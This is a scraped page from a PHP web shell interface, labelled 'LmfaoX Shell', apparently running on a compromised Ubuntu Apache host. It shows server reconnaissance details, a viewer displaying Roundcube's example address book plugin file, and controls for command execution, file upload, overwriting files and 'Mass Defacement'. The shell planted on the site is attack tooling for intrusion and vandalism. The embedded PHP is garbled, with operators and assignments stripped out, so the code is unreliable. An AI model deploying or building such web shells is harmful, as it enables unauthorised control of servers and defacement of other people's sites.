ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.38 GB of 70.42 GB (34.63%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ plugins/ example_addressbook/ - drwxr-xr-x

Directory:
Viewing file:     example_addressbook_backend.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Example backend class for a custom address book
 *
 * This one just holds a static list of address records
 *
 * @author Thomas Bruederli
 */
class example_addressbook_backend extends rcube_addressbook
{
  public 
$primary_key 'ID';
  public 
$readonly true;
  public 
$groups true;

  private 
$filter;
  private 
$result;
  private 
$name;

  public function 
__construct($name)
  {
    
$this->ready true;
    
$this->name $name;
  }

  public function 
get_name()
  {
    return 
$this->name;
  }

  public function 
set_search_set($filter)
  {
    
$this->filter $filter;
  }

  public function 
get_search_set()
  {
    return 
$this->filter;
  }

  public function 
reset()
  {
    
$this->result null;
    
$this->filter null;
  }

  function 
list_groups($search null)
  {
    return array(
      array(
'ID' => 'testgroup1''name' => "Testgroup"),
      array(
'ID' => 'testgroup2''name' => "Sample Group"),
    );
  }

  public function 
list_records($cols=null$subset=0)
  {
    
$this->result $this->count();
    
$this->result->add(array('ID' => '111''name' => "Example Contact"'firstname' => "Example"'surname' => "Contact"'email' => "example@roundcube.net"));

    return 
$this->result;
  }

  public function 
search($fields$value$strict=false$select=true$nocount=false$required=array())
  {
    
// no search implemented, just list all records
    
return $this->list_records();
  }

  public function 
count()
  {
    return new 
rcube_result_set(1, ($this->list_page-1) * $this->page_size);
  }

  public function 
get_result()
  {
    return 
$this->result;
  }

  public function 
get_record($id$assoc=false)
  {
    
$this->list_records();
    
$first $this->result->first();
    
$sql_arr $first['ID'] == $id $first null;

    return 
$assoc && $sql_arr $sql_arr $this->result;
  }


  function 
create_group($name)
  {
    
$result false;

    return 
$result;
  }

  function 
delete_group($gid)
  {
    return 
false;
  }

  function 
rename_group($gid$newname)
  {
    return 
$newname;
  }

  function 
add_to_group($group_id$ids)
  {
    return 
false;
  }

  function 
remove_from_group($group_id$ids)
  {
     return 
false;
  }

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3374 seconds